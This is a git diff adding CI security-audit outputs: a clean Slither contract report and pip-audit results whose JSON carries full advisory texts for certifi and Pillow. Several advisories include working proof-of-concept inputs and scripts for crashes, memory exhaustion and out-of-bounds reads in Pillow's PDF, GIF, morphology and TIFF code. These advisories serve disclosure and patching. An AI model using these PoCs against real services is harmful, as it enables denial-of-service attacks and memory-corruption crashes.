diff --git a/blockchain/slither-report.txt b/blockchain/slither-report.txt
new file mode 100644
index 0000000..4ec6cac
--- /dev/null
+++ b/blockchain/slither-report.txt
@@ -0,0 +1,9 @@
+'npx hardhat clean' running (wd: /home/runner/work/RekaKarbon/RekaKarbon/blockchain)
+'npx hardhat clean --global' running (wd: /home/runner/work/RekaKarbon/RekaKarbon/blockchain)
+Unexpected output from Hardhat, trying to parse it anyway: ◇ injected env (0) from .env // tip: ⌘ multiple files { path: ['.env.local', '.env'] }
+◇ injected env (0) from .env // tip: ⌘ enable debugging { debug: true }
+{"root":"/home/runner/work/RekaKarbon/RekaKarbon/blockchain","configFile":"/home/runner/work/RekaKarbon/RekaKarbon/blockchain/hardhat.config.ts","sources":"/home/runner/work/RekaKarbon/RekaKarbon/blockchain/contracts","cache":"/home/runner/work/RekaKarbon/RekaKarbon/blockchain/cache","artifacts":"/home/runner/work/RekaKarbon/RekaKarbon/blockchain/artifacts","tests":"/home/runner/work/RekaKarbon/RekaKarbon/blockchain/test"}
+
+Problem deserializing hardhat configuration, using defaults: Expecting property name enclosed in double quotes: line 1 column 3 (char 2)
+'npx hardhat compile --force' running (wd: /home/runner/work/RekaKarbon/RekaKarbon/blockchain)
+INFO:Slither:. analyzed (18 contracts with 98 detectors), 0 result(s) found
diff --git a/ml/ml-audit-report.txt b/ml/ml-audit-report.txt
new file mode 100644
index 0000000..85e16ed
--- /dev/null
+++ b/ml/ml-audit-report.txt
@@ -0,0 +1,32 @@
+Found 25 known vulnerabilities in 2 packages
+Name Version ID Fix Versions
+------- --------- --------------- ------------
+certifi 2026.7.22 PYSEC-2026-4320 2026.10.19
+pillow 12.3.0 CVE-2026-112895 13.0.0
+pillow 12.3.0 CVE-2026-112400 13.0.0
+pillow 12.3.0 CVE-2026-112397 13.0.0
+pillow 12.3.0 CVE-2026-112896 13.0.0
+pillow 12.3.0 CVE-2026-112897 13.0.0
+pillow 12.3.0 CVE-2026-112395 13.0.0
+pillow 12.3.0 CVE-2026-112404 13.0.0
+pillow 12.3.0 CVE-2026-112899 13.0.0
+pillow 12.3.0 CVE-2026-112402 13.0.0
+pillow 12.3.0 CVE-2026-112900 13.0.0
+pillow 12.3.0 CVE-2026-112893 13.0.0
+pillow 12.3.0 CVE-2026-112392 13.0.0
+pillow 12.3.0 CVE-2026-112891 13.0.0
+pillow 12.3.0 CVE-2026-112405 13.0.0
+pillow 12.3.0 CVE-2026-112390 13.0.0
+pillow 12.3.0 CVE-2026-112401 13.0.0
+pillow 12.3.0 CVE-2026-112901 13.0.0
+pillow 12.3.0 CVE-2026-112391 13.0.0
+pillow 12.3.0 CVE-2026-112894 13.0.0
+pillow 12.3.0 CVE-2026-112406 13.0.0
+pillow 12.3.0 CVE-2026-112399 13.0.0
+pillow 12.3.0 CVE-2026-112892 13.0.0
+pillow 12.3.0 CVE-2026-112393 13.0.0
+pillow 12.3.0 CVE-2026-112396 13.0.0
+
+Name Skip Reason
+------------- -------------------------------
+rekakarbon-ml distribution marked as editable
diff --git a/ml/ml-audit.json b/ml/ml-audit.json
new file mode 100644
index 0000000..944e05e
--- /dev/null
+++ b/ml/ml-audit.json
@@ -0,0 +1 @@
+{"dependencies": [{"name": "altair", "version": "6.2.2", "vulns": []}, {"name": "annotated-types", "version": "0.8.0", "vulns": []}, {"name": "anyio", "version": "4.14.2", "vulns": []}, {"name": "ast-serialize", "version": "0.8.0", "vulns": []}, {"name": "attrs", "version": "26.1.0", "vulns": []}, {"name": "blinker", "version": "1.9.0", "vulns": []}, {"name": "boolean-py", "version": "5.0", "vulns": []}, {"name": "cachecontrol", "version": "0.14.4", "vulns": []}, {"name": "certifi", "version": "2026.7.22", "vulns": [{"id": "PYSEC-2026-4320", "fix_versions": ["2026.10.19"], "aliases": ["GHSA-6q48-6c7w-9gw2"], "description": "Certifi versions before 2026.10.18 include the `emSign ECC Root CA - G3` root certificate in their bundled CA store. Eight eMudhra intermediate CA certificates that chain to this root have compromised private keys and the CA has revoked them. An attacker with one of the compromised keys can issue valid-looking certificates for any hostname. If the attacker is also on-path, they can intercept or modify TLS traffic from clients that trust the certifi bundle. Examples include `requests`, `urllib3` and `pip`, and the Python.org macOS installer. Certifi 2026.10.18 removed all emSign roots from the bundle. Certifi 2026.10.19 restored the emSign roots that are not affected. Upgrade to 2026.10.19 or later, and rebuild container images that vendor certifi."}]}, {"name": "charset-normalizer", "version": "3.5.1", "vulns": []}, {"name": "click", "version": "8.4.2", "vulns": []}, {"name": "cloudpickle", "version": "3.1.2", "vulns": []}, {"name": "contourpy", "version": "1.3.3", "vulns": []}, {"name": "cuda-bindings", "version": "13.3.1", "vulns": []}, {"name": "cuda-pathfinder", "version": "1.8.1", "vulns": []}, {"name": "cuda-toolkit", "version": "13.0.3.0", "vulns": []}, {"name": "cycler", "version": "0.12.1", "vulns": []}, {"name": "cyclonedx-python-lib", "version": "11.12.0", "vulns": []}, {"name": "defusedxml", "version": "0.7.1", "vulns": []}, {"name": "et-xmlfile", "version": "2.0.0", "vulns": []}, {"name": "filelock", "version": "3.32.5", "vulns": []}, {"name": "flatbuffers", "version": "25.12.19", "vulns": []}, {"name": "fonttools", "version": "4.63.0", "vulns": []}, {"name": "fsspec", "version": "2026.7.0", "vulns": []}, {"name": "h11", "version": "0.16.0", "vulns": []}, {"name": "httptools", "version": "0.8.0", "vulns": []}, {"name": "idna", "version": "3.19", "vulns": []}, {"name": "iniconfig", "version": "2.3.0", "vulns": []}, {"name": "itsdangerous", "version": "2.2.0", "vulns": []}, {"name": "jinja2", "version": "3.1.6", "vulns": []}, {"name": "joblib", "version": "1.5.3", "vulns": []}, {"name": "jsonschema", "version": "4.26.0", "vulns": []}, {"name": "jsonschema-specifications", "version": "2025.9.1", "vulns": []}, {"name": "kiwisolver", "version": "1.5.1", "vulns": []}, {"name": "librt", "version": "0.15.0", "vulns": []}, {"name": "license-expression", "version": "30.4.4", "vulns": []}, {"name": "llvmlite", "version": "0.49.0", "vulns": []}, {"name": "markdown-it-py", "version": "4.2.0", "vulns": []}, {"name": "markupsafe", "version": "3.0.3", "vulns": []}, {"name": "matplotlib", "version": "3.11.1", "vulns": []}, {"name": "mdurl", "version": "0.1.2", "vulns": []}, {"name": "ml-dtypes", "version": "0.6.0", "vulns": []}, {"name": "mpmath", "version": "1.3.0", "vulns": []}, {"name": "msgpack", "version": "1.2.2", "vulns": []}, {"name": "mypy", "version": "2.3.1", "vulns": []}, {"name": "mypy-extensions", "version": "1.1.0", "vulns": []}, {"name": "narwhals", "version": "2.25.0", "vulns": []}, {"name": "networkx", "version": "3.6.1", "vulns": []}, {"name": "numba", "version": "0.67.0", "vulns": []}, {"name": "numpy", "version": "2.5.2", "vulns": []}, {"name": "nvidia-cublas", "version": "13.1.1.3", "vulns": []}, {"name": "nvidia-cuda-cupti", "version": "13.0.85", "vulns": []}, {"name": "nvidia-cuda-nvrtc", "version": "13.0.88", "vulns": []}, {"name": "nvidia-cuda-runtime", "version": "13.0.96", "vulns": []}, {"name": "nvidia-cudnn-cu13", "version": "9.24.0.43", "vulns": []}, {"name": "nvidia-cufft", "version": "12.0.0.61", "vulns": []}, {"name": "nvidia-cufile", "version": "1.15.1.6", "vulns": []}, {"name": "nvidia-curand", "version": "10.4.0.35", "vulns": []}, {"name": "nvidia-cusolver", "version": "12.0.4.66", "vulns": []}, {"name": "nvidia-cusparse", "version": "12.6.3.3", "vulns": []}, {"name": "nvidia-cusparselt-cu13", "version": "0.8.1", "vulns": []}, {"name": "nvidia-nccl-cu13", "version": "2.30.7", "vulns": []}, {"name": "nvidia-nvjitlink", "version": "13.3.33", "vulns": []}, {"name": "nvidia-nvshmem-cu13", "version": "3.4.5", "vulns": []}, {"name": "nvidia-nvtx", "version": "13.0.85", "vulns": []}, {"name": "onnx", "version": "1.22.0", "vulns": []}, {"name": "onnxruntime", "version": "1.29.0", "vulns": []}, {"name": "openpyxl", "version": "3.1.5", "vulns": []}, {"name": "packageurl-python", "version": "0.17.6", "vulns": []}, {"name": "packaging", "version": "26.3", "vulns": []}, {"name": "pandas", "version": "3.0.5", "vulns": []}, {"name": "pandas-stubs", "version": "3.0.5.260730", "vulns": []}, {"name": "pathspec", "version": "1.1.1", "vulns": []}, {"name": "pillow", "version": "12.3.0", "vulns": [{"id": "CVE-2026-112895", "fix_versions": ["13.0.0"], "aliases": ["GHSA-p4wg-p73j-c528"], "description": "### Summary When an application appends to an existing PDF with `Image.save(..., format=\"PDF\", append=True)`, Pillow parses that file with `PdfParser`. Two recursive parsers have no effective bound. `linearize_page_tree` follows `/Kids` with no visited set or depth limit, so a cyclic or duplicated page tree recurses without end. `read_prev_trailer` rejects only an exactly repeated `/Prev` offset, so a long chain of unique offsets still recurses. The trailer-loop guard added for CVE-2026-42310 does not cover either case. ### Details `linearize_page_tree` recurses on `/Kids` with no cycle or depth check: - `src/PIL/PdfParser.py:1078-1092` `read_prev_trailer` catches only a repeated offset: - `src/PIL/PdfParser.py:697-720` (the `processed_offsets` check at `:714-718` is the CVE-2026-42310 fix; a unique-offset chain slips past it) ### PoC ```python from PIL import PdfParser # A page tree whose /Pages nodes reference each other in a cycle (2 -> 3 -> 2). objs = { 1: b\"<< /Type /Catalog /Pages 2 0 R >>\", 2: b\"<< /Type /Pages /Kids [3 0 R] /Count 1 >>\", 3: b\"<< /Type /Pages /Kids [2 0 R] /Count 1 >>\", } buf = bytearray(b\"%PDF-1.4\\n\") off = {} for oid in (1, 2, 3): off[oid] = len(buf) buf += b\"%d 0 obj\\n\" % oid + objs[oid] + b\"\\nendobj\\n\" xref = len(buf) buf += b\"xref\\n0 4\\n0000000000 65535 f \\n\" buf += b\"\".join(b\"%010d 00000 n \\n\" % off[o] for o in (1, 2, 3)) buf += b\"trailer\\n<< /Root 1 0 R /Size 4 >>\\nstartxref\\n%d\\n%%%%EOF\\n\" % xref open(\"poc.pdf\", \"wb\").write(buf) PdfParser.PdfParser(\"poc.pdf\", mode=\"r+b\") # append=True parses the existing file the same way ``` Run it: ``` $ python 11_poc.py RecursionError: maximum recursion depth exceeded ``` The 315-byte file triggers the recursion on parse. A duplicated (non-cyclic) `/Kids` tree instead produces super-linear CPU and memory work, and a long unique-offset `/Prev` chain triggers the trailer-side recursion. ### Impact A service that appends to user-supplied PDFs, for example a stamping or watermarking pipeline, can be driven into uncaught recursion or heavy CPU and memory use before any image is written. Follow-up to CVE-2026-42310. Since Pillow's policy discourages filing plain Python exceptions as denial of service, lead with the cyclic-tree case, which burns CPU and memory rather than only raising `RecursionError`. The fix is a visited set plus a depth limit in both parsers."}, {"id": "CVE-2026-112400", "fix_versions": ["13.0.0"], "aliases": ["GHSA-65qm-jvmh-6pqg"], "description": "``` ============================================================================ GIF seek keeps rejected size after DecompressionBombError, allowing DoS Location: src/PIL/GifImagePlugin.py:293 in GifImageFile._seek() Commit: a707c6b21c313880d0771e54965d142dd42358b6 ============================================================================ ``` A GIF of about 60 bytes can make Pillow allocate gigabytes of memory. This affects applications that catch the \"image too large\" error raised while stepping to a later animation frame and then keep using the same image object. Pillow correctly refuses the oversized frame, but it stores the refused dimensions on the image object anyway, and later operations size their memory from them. An attacker who can upload a GIF to such a service can exhaust its memory: the process either fails with an out-of-memory error after committing gigabytes, or is killed by the operating system. There is no memory corruption. The bug is in `GifImageFile._seek()` (`src/PIL/GifImagePlugin.py:292-294`). When a frame's extent enlarges the image, the code assigns the new size to `self._size` and only then calls `Image._decompression_bomb_check()`. Nothing restores the old size when `DecompressionBombError` is raised, because `seek()` only rolls back on `EOFError`. After the caught error, `im.size` reports the rejected size while the pixel buffer `im.im` is still the 1\u00d71 first frame. Because the extent is a 16-bit offset plus a 16-bit size, that rejected size can be as large as 131070\u00d7131070. In the attached reproducer, the rejected size is 40000\u00d740000. A retried `seek(1)` followed by `load()` then reaches `load_prepare()`, which calls `Image.core.fill()` with that size to decode a single pixel. Peak memory rises from 17 MiB to 1700 MiB before a 3 GiB address-space cap stops the next allocation. `Image.new(\"RGB\", im.size, ...)` and `rotate(..., expand=True)` also allocate from the stale size. The default paths are unaffected: plain `Image.open()` plus `load()`, `ImageSequence.Iterator`, and `n_frames`/`is_animated`. The ordering was introduced in c9f1b35e9810 (\"Added GIF decompression bomb check\", 2022-06-30, first released in 9.2.0), the check added for CVE-2022-45198. The two dispose-extent checks later in the same function already validate before using the size, and the attached patch makes this check follow the same order. ## Details `GifImageFile._seek()` lets a later frame enlarge the image, and performs the decompression-bomb check for the new size only *after* storing it on the object: ```python # src/PIL/GifImagePlugin.py:289-294 (GifImageFile._seek) x0, y0 = i16(s, 0), i16(s, 2) x1, y1 = x0 + i16(s, 4), y0 + i16(s, 6) if (x1 > self.size[0] or y1 > self.size[1]) and update_image: self._size = max(x1, self.size[0]), max(y1, self.size[1]) # state mutated Image._decompression_bomb_check(self._size) # ...then validated ``` `_decompression_bomb_check()` (`src/PIL/Image.py:3586`) raises `DecompressionBombError` for anything above `2 * MAX_IMAGE_PIXELS` (178 956 970 px by default), but by then `self._size` already holds the rejected value and nothing restores it: `seek()` (`GifImagePlugin.py:166-179`) only rolls back on `EOFError`, and `_seek(0)` only ever grows `_size`. The object that the application still holds therefore reports `im.size == (40000, 40000)` while `im.im` is the 1\u00d71 buffer of frame 0. Compare the two dispose-extent checks a few lines further down in the same function (`GifImagePlugin.py:383` and `:407`), which call `_decompression_bomb_check(dispose_size)` *before* the corresponding `Image.core.fill()`, and `TiffImagePlugin.load_prepare()` (`src/PIL/TiffImagePlugin.py:1319-1321`), which checks `_tile_size` before allocating from it. With this 60-byte GIF (hex) ``` 47494638396101000100800000000000ffffff GIF89a, 1x1 screen, 2-entry global palette 2c000000000100010000 02 024401 00 frame 0: 1x1 @ (0,0), LZW data 2c00000000409c409c00 frame 1 descriptor: 40000x40000 @ (0,0) 2c000000000100010000 02 024401 00 another 1x1 frame 3b trailer ``` `Image.open()` succeeds (`im.size == (1, 1)`), `im.seek(1)` raises `DecompressionBombError: Image size (1600000000 pixels) exceeds limit of 178956970 pixels`, and afterwards `im.size == (40000, 40000)`, `im.im.size == (1, 1)`, `im.tell() == 0`. What happens next depends on what the application does with the object, but several ordinary operations take their dimensions from `im.size` rather than from the C buffer: - Retrying `im.seek(1)`. The failed `_seek` left `self.__offset == 0` and the file pointer just past the 9-byte descriptor, so the retry parses whatever follows \u2014 in the file above, a valid 1\u00d71 frame \u2014 and succeeds. `im.load()` then runs `GifImageFile.load_prepare()`: ```python # src/PIL/GifImagePlugin.py:452-456 elif self.mode in (\"RGB\", \"RGBA\"): self._prev_im = self.im if self._frame_palette: self.im = Image.core.fill(\"P\", self.size, self._frame_transparency or 0) ``` which allocates and `memset`s a 40000\u00d740000 \"P\" image (1.6 GB) to decode a 1\u00d71 tile into, and `load_end()` (`GifImagePlugin.py:485-491`) fills a second one and converts it to RGB (another 1.6 GB + 6.4 GB). - `im.rotate(angle, expand=True)` for a non-multiple-of-90 angle, or the common flatten-onto-background idiom `Image.new(\"RGB\", im.size, bg)`, allocate from `im.size` as well (measured on an object poisoned to 20000\u00d720000: `rotate(45, expand=True)` completes and touches 776 MiB; `Image.new(\"RGB\", im.size, \"white\")` touches 1.5 GiB). Operations that pass `im.size` as a box against the real buffer (`thumbnail`, `resize`, `save`) fail with `ValueError`/`SystemError` instead. The extent fields are 16-bit offset plus 16-bit size, so the stored size can be pushed to 131070\u00d7131070 (17.2 Gpx; 17 GB for mode \"P\", 69 GB for \"RGB\"/\"RGBA\" storage), 96\u00d7 the error threshold. `n_frames` / `is_animated` are not affected: they call `_seek(frame, update_image=False)`, which skips the `_size` assignment (the file above reports `n_frames == 2`, `is_animated == True` and leaves `im.size` at 1\u00d71). ## Impact A remote user who can upload a GIF to a service that (a) seeks animation frames and (b) catches the exception from `seek()` \u2014 a broad `except Exception` around a `while True: im.seek(im.tell()+1)` frame-collection loop, or an explicit `except DecompressionBombError: log and continue` \u2014 and then keeps using the same `Image` object, ends up driving allocations of 1.6 GB to tens of GB from a 60-byte file: `MemoryError` after the process has committed gigabytes, or an OOM kill of the worker when no address-space limit is set. The `MAX_IMAGE_PIXELS` guard fires, but does not actually keep the rejected dimensions out of the object it is guarding. The precondition is real application behaviour but not the default path: `Image.open(); im.load()` is unaffected, and `ImageSequence.Iterator` propagates the error out of the `for` statement (a `try` inside the loop body does not swallow it). Hence low severity. This is adjacent to the GIF extent bomb check added for CVE-2022-45198: the ordering was introduced with that check in `c9f1b35e9810` (\"Added GIF decompression bomb check\", 2022-06-30), first released in Pillow 9.2.0. Before it, the same size growth happened with no check at all; the check introduced there is the one that runs too late. ## Reproducing `repro` is a single Python script run against the installed Pillow. It needs about 1.7 GB of free RAM. 1. **`setup_env()`** caps the process address space at 3 GiB with `RLIMIT_AS`, so the oversized allocations end in `MemoryError` instead of the OOM killer. It then opens the 60-byte GIF shown above, built in memory by `bomb_gif()`. The GIF contains a 1\u00d71 screen and a 1\u00d71 frame 0, so `Image.open()` passes its own bomb check. Next comes a bare frame-1 image descriptor that declares 40000\u00d740000 (1.6 Gpx, about 9\u00d7 the error threshold). A real 1\u00d71 frame follows it. 2. **`poc()`** calls `im.seek(1)` and catches `DecompressionBombError`, the way an application that skips bad frames would. 3. **First check: the state is inconsistent.** The script prints `im.size` next to the real pixel buffer `im.im.size`. If the rejected frame had left the object unchanged, both would be `(1, 1)`. On the affected code `im.size` is `(40000, 40000)`. 4. **Second check: memory use.** The script retries `im.seek(1)`, which now parses the trailing 1\u00d71 frame, and calls `im.load()`. It prints the process's peak RSS before and after. `load_prepare()` sizes its `Image.core.fill()` from `im.size`, so loading a single pixel fills a 1.6 GB buffer before the 3 GiB cap stops the next allocation. Expected output on the affected tree: ``` open(): 60-byte GIF, size=(1, 1) seek(1) raised as intended: Image size (1600000000 pixels) exceeds limit of 178956970 pixels, could be decompression bomb DOS attack. after the caught error: im.size=(40000, 40000), pixel buffer im.im.size=(1, 1) seek(1) + load() of a 1x1 frame: MemoryError at the 3 GiB cap; peak RSS 18 MiB -> 1700 MiB BUG ``` The script prints `BUG` only if both checks hold: the over-limit size stayed on the object after the exception, and peak RSS grew by more than 1000 MiB while loading a 1\u00d71 frame. Otherwise it prints `OK`. With the attached patch applied, it prints `im.size=(1, 1)`, peak RSS stays at about 23 MiB, and the last line is `OK`. ## Suggested fix The attached patch validates before mutating in `GifImageFile._seek()` (`src/PIL/GifImagePlugin.py:292-294`): the enlarged extent is computed into a local, passed to `_decompression_bomb_check()`, and only then assigned to `self._size`, matching the order of the two `dispose_size` checks further down the same function. A rejected frame therefore leaves the object in its pre-seek state; valid files behave as before, and the exception is still raised at the same point: ```diff --- a/src/PIL/GifImagePlugin.py +++ b/src/PIL/GifImagePlugin.py @@ -290,8 +290,9 @@ class GifImageFile(ImageFile.ImageFile): x0, y0 = i16(s, 0), i16(s, 2) x1, y1 = x0 + i16(s, 4), y0 + i16(s, 6) if (x1 > self.size[0] or y1 > self.size[1]) and update_image: - self._size = max(x1, self.size[0]), max(y1, self.size[1]) - Image._decompression_bomb_check(self._size) + size = max(x1, self.size[0]), max(y1, self.size[1]) + Image._decompression_bomb_check(size) + self._size = size frame_dispose_extent = x0, y0, x1, y1 flags = s[8] ``` `n_frames` / `is_animated` go through `update_image=False` and are unaffected. The patch also extends `test_exception_gif_extents` in `Tests/test_decompression_bomb.py` to assert that `im.size` is unchanged after the `DecompressionBombError`. It does not change `seek()` itself; optionally, `seek()` could also treat `DecompressionBombError` like `EOFError` and re-seek to `last_frame`, so that a retried `seek()` does not resume parsing from the middle of the rejected frame. ## The patch GIF: run the decompression bomb check on an enlarging frame's extent before storing it in self._size Applies to `src/PIL/GifImagePlugin.py` at the commit above. ```diff diff --git a/Tests/test_decompression_bomb.py b/Tests/test_decompression_bomb.py index 98d833736..83cc785fc 100644 --- a/Tests/test_decompression_bomb.py +++ b/Tests/test_decompression_bomb.py @@ -63,6 +63,9 @@ class TestDecompressionBomb: with pytest.raises(Image.DecompressionBombError): im.seek(1) + # The rejected frame should not have changed the image size + assert im.size == (100, 100) + def test_exception_gif_zero_width(self, monkeypatch: pytest.MonkeyPatch) -> None: # Set limit to trigger exception on the test file monkeypatch.setattr(Image, \"MAX_IMAGE_PIXELS\", 4 * 64 * 128) diff --git a/src/PIL/GifImagePlugin.py b/src/PIL/GifImagePlugin.py index 11fb180fc..f9bda06c2 100644 --- a/src/PIL/GifImagePlugin.py +++ b/src/PIL/GifImagePlugin.py @@ -290,8 +290,9 @@ class GifImageFile(ImageFile.ImageFile): x0, y0 = i16(s, 0), i16(s, 2) x1, y1 = x0 + i16(s, 4), y0 + i16(s, 6) if (x1 > self.size[0] or y1 > self.size[1]) and update_image: - self._size = max(x1, self.size[0]), max(y1, self.size[1]) - Image._decompression_bomb_check(self._size) + size = max(x1, self.size[0]), max(y1, self.size[1]) + Image._decompression_bomb_check(size) + self._size = size frame_dispose_extent = x0, y0, x1, y1 flags = s[8] ``` ## The reproducer Reproducer \u2014 repro, 2,474 bytes (click to open) Its last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`. ```python #!/usr/bin/env python3 # GifImageFile._seek() stores a frame's enlarged size in self._size and only # *then* runs the decompression-bomb check. The check raises, but the object # keeps the rejected 40000x40000 size over its real 1x1 pixel buffer, and the # next load() allocates from that size: 1.6+ GB for a 60-byte GIF. import io import resource import struct from PIL import Image BOMB = 40000 # 40000x40000 = 1.6 Gpx, ~9x the DecompressionBombError threshold LIMIT = 2 * Image.MAX_IMAGE_PIXELS def frame_1x1(): # image descriptor at (0,0) 1x1, then a 1-pixel LZW stream return b\",\" + struct.pack(\" LIMIT and im.im.size == (1, 1) # Effect: retrying the seek lands on the real 1x1 frame, but load() sizes its # buffers from the poisoned im.size. before = peak_rss_mib() im.seek(1) try: im.load() outcome = \"completed\" except MemoryError: outcome = \"MemoryError at the 3 GiB cap\" after = peak_rss_mib() print(f\"seek(1) + load() of a 1x1 frame: {outcome}; peak RSS {before} MiB -> {after} MiB\") ballooned = after - before > 1000 print(\"BUG\" if poisoned and ballooned else \"OK\") ``` ---"}, {"id": "CVE-2026-112397", "fix_versions": ["13.0.0"], "aliases": ["GHSA-58r4-6rv3-gfh8"], "description": "### Summary A PPM or PGM file can declare a width of 0, which Pillow accepts, producing an image of size `(0, N)`. Passing that image to `ImageMorph.MorphOp.apply()` makes the native morphology code index a row buffer at `outrow[width - 1]`, which is `outrow[-1]` when the width is 0. The process crashes. ### Details The PPM parser reads width and height with no lower-bound check: - `src/PIL/PpmImagePlugin.py:119` The native `apply()` writes the row edges with no guard that the width is positive: - `src/_imagingmorph.c:81` sets `outrow[0] = outrow[width - 1] = 0;` `match()` and `get_on_pixels()` use the same edge-indexing pattern. ### PoC ```python from PIL import Image, ImageMorph # A width-0 image (also producible from a crafted PPM header). apply() indexes # outrow[width - 1] == outrow[-1] in native code. im = Image.new(\"L\", (0, 5)) ImageMorph.MorphOp(op_name=\"dilation4\").apply(im) ``` Run it: ``` $ python 03_poc.py Segmentation fault (core dumped) ``` Observed on a source build of commit `3e2ab96`. Under AddressSanitizer: ``` ==ERROR: AddressSanitizer: SEGV on unknown address (pc ... in apply) #0 apply src/_imagingmorph.c:81 SUMMARY: AddressSanitizer: SEGV src/_imagingmorph.c:81 in apply ``` With width 0 the `outrow[width - 1]` write lands on an unmapped page, so it surfaces as a SEGV pinned to the edge-write line rather than a redzone overflow. ### Impact Out-of-bounds write in a C extension. Affects any application that runs a morphology operation on an image opened from untrusted input. Result is a crash and possible memory corruption."}, {"id": "CVE-2026-112896", "fix_versions": ["13.0.0"], "aliases": ["GHSA-pchr-8j38-3x4p"], "description": "## Summary A small attacker-supplied TIFF can be opened and loaded normally, then reach an out-of-bounds read when an application saves it back to TIFF with retained metadata. The fixed reproducer is a 1\u00d71, 16-bit grayscale, PackBits-compressed TIFF containing tag 320 (ColorMap) with **768 SHORT values**: three zero-filled planes of 256 entries each. No Python object is forged and no metadata is injected after loading. Pillow's TIFF encoder allocates **768 \u00d7 2 = 1536 bytes**, then passes three plane pointers separated by 256 SHORT entries to libtiff. With `BitsPerSample = 16`, libtiff instead expects **65536 SHORT values per plane** and attempts a **131072-byte read** from a plane pointer. Existing ASAN observations identify a heap-buffer-overflow READ crossing the 1536-byte allocation made in `PyImaging_LibTiffEncoderNew`. The malformed ColorMap need not be a valid palette for this grayscale image. The issue is that accepted metadata is forwarded on save without reconciling the fixed plane extent with the effective sample depth. Opening/loading alone is not the demonstrated fault; the encoder path is required. ## Impact and prerequisites An application must accept the input, retain the relevant TIFF metadata, and invoke the libtiff-backed TIFF save path. The observed consequence is an out-of-bounds read and ASAN termination. Process-memory exposure during encoding is a potential consequence, **not demonstrated by extracting arbitrary heap contents in this report**. No arbitrary read primitive, full memory-disclosure chain, code execution, address-space bypass, or cross-process effect is claimed. The 131072-byte attempted copy is not the number of bytes proven disclosed. This report does not run a synthetic-canary serializer or collect an unsanitized encoded output. ## Tested environment and limits of the evidence The existing observations were recorded on August 30, 2026, with **CPython 3.11.8 on macOS ARM64**, using the unmodified official **Pillow 12.3.0** wheel and its bundled **libtiff 4.7.1**: - Wheel: `pillow-12.3.0-cp311-cp311-macosx_11_0_arm64.whl` - Wheel size: `4785266` bytes - Wheel SHA-256: `37d6d0a00072fd2948eb22bce7e1475f34569d90c87c59f7a2ec59541b77f7a6` - Pillow source revision: `bb1d8e8ab8d29048624d96e3ee53cecf7c13d13d` - Bundled libtiff SHA-256: `e8988717b7470394a47d5ccd343130796b24ee70b6d885d3818e0e0b53238be1` Apple's ASAN runtime was injected at process startup. This is **not an ASAN-rebuilt Pillow wheel**; allocation/memcpy interception detects the reported boundary violation, but the wheel's native instructions are not comprehensively instrumented. Only this concrete full-package environment is established here. No affected-version range, current development-branch result, or patched release is asserted. Severity is **Unknown**; no CVSS score is proposed. Separate earlier evidence reached the original Pillow 8.0.1 encoder constructor compiled as a component against a modern Python/libtiff environment. **That was not a complete Pillow 8.0.1 installation** and does not establish the historical package's full runtime behavior. It is not part of this reproducer or an affected-version range. ## Observed evidence and controls The earlier integration harness performed the natural sequence `Image.open(BytesIO(input))`, `image.load()`, then `image.save(BytesIO(), format=\"TIFF\")`, without replacing the image's metadata. Each case was recorded three times: | Original fixture | Bytes | Recorded result | | --- | ---: | --- | | `colormap16` | 1685 | Loaded as `I;16`; save terminated with ASAN exit 86, READ of size 131072 crossing a 1536-byte heap region (3/3). | | `colormap8` | 1684 | Same fixed ColorMap, but 8-bit samples; save succeeded and retained SHORT/count 768 (3/3). | | `colormap_absent` | 137 | Same 16-bit geometry without ColorMap; save succeeded (3/3). | Address-free summary of the recorded native diagnostic: ```text AddressSanitizer: heap-buffer-overflow READ of size 131072 0 bytes after 1536-byte region Copy path: memcpy -> _TIFFmemcpy -> setByteArray -> _TIFFsetShortArrayExt -> _TIFFVSetField -> TIFFVSetField -> ImagingLibTiffSetField -> PyImaging_LibTiffEncoderNew Allocation: calloc -> PyImaging_LibTiffEncoderNew ``` Input SHA-256 values (also enforced inside the script): - `colormap16`: `5f38e0ead90b97949fb0c98c63f9c68d00ba9181db6631ecb8927376dcc75f4d` - `colormap8`: `fdb26d9135549ed44824901985086c5ee4f06515699ca3291e498c523935405c` - `colormap_absent`: `bd54979624f3ffb713342e0458caff9e17c477f940cda2f0960feebfabbc9556` ## Root cause and source references - [Pillow `src/encode.c`, lines 870\u2013899, pinned revision](https://github.com/python-pillow/Pillow/blob/bb1d8e8ab8d29048624d96e3ee53cecf7c13d13d/src/encode.c#L870): the ColorMap tuple must contain exactly 768 entries; a 1536-byte allocation is passed with a fixed stride of 256. The check does not reconcile that extent with `BitsPerSample`. - [Pillow `src/PIL/TiffImagePlugin.py`, lines 1944\u20131991, pinned revision](https://github.com/python-pillow/Pillow/blob/bb1d8e8ab8d29048624d96e3ee53cecf7c13d13d/src/PIL/TiffImagePlugin.py#L1944): save carries supplied tags into the libtiff encoder and sorts the tags, so sample depth is established before ColorMap. - [libtiff `tif_dir.c`, lines 441\u2013448, pinned revision](https://gitlab.com/libtiff/libtiff/-/blob/5fe20d0e9aba49a6a350ed533459d1505203838f/libtiff/tif_dir.c#L441): `TIFFTAG_COLORMAP` computes the per-plane count as `1L << td->td_bitspersample` and copies that many SHORTs from each pointer. The reported boundary is Pillow's construction of a fixed-sized array for a native API whose required size depends on metadata; this does not establish a standalone libtiff defect for a correctly sized caller buffer. ## Prior art and disclosure scope [Pillow PR #5148](https://github.com/python-pillow/Pillow/pull/5148), merged December 28, 2020, is related TIFF metadata prior art, but its archived diff replaces a short-lived stack field-name pointer with the persistent literal `\"CustomField\"`. That is a **different field-name-lifetime fix**, not this plane-size mismatch. The reviewed material does not establish an exact prior public report or fix for this root, and **novelty is not asserted**. This specific report remains NOT_SENT; association with other observations is not a prior disclosure of it. ## Reproduction instructions Use an **already reviewed, existing** installation of the exact wheel above, an existing compatible macOS ARM64 CPython 3.11 interpreter, and an existing compatible Apple ASAN runtime. `--package-path` is the absolute directory containing `PIL`, not the `PIL` directory itself. The script does not install, download, build, patch, or submit anything. It checks selected key package files against the original installation's hashes and checks the loaded package/version; these checks are not a full installation attestation. Save the complete Python block below as `reproduce.py` and run: ```sh python3.11 -I -S -B reproduce.py \\ --package-path /absolute/path/to/reviewed/site-packages \\ --asan-runtime /absolute/path/to/reviewed/libclang_rt.asan_osx_dynamic.dylib ``` Both arguments are required. The runtime must be loaded at child startup, not by late `dlopen`. Each child resolves `__asan_init`, `__asan_address_is_poisoned`, and `__asan_region_is_poisoned` in its actual process symbol table **before importing Pillow or opening a fixture**. Merely setting `DYLD_INSERT_LIBRARIES` is not accepted as proof of ASAN availability. A missing symbol or package mismatch prevents the operation. Each of the three cases runs once in a separate child 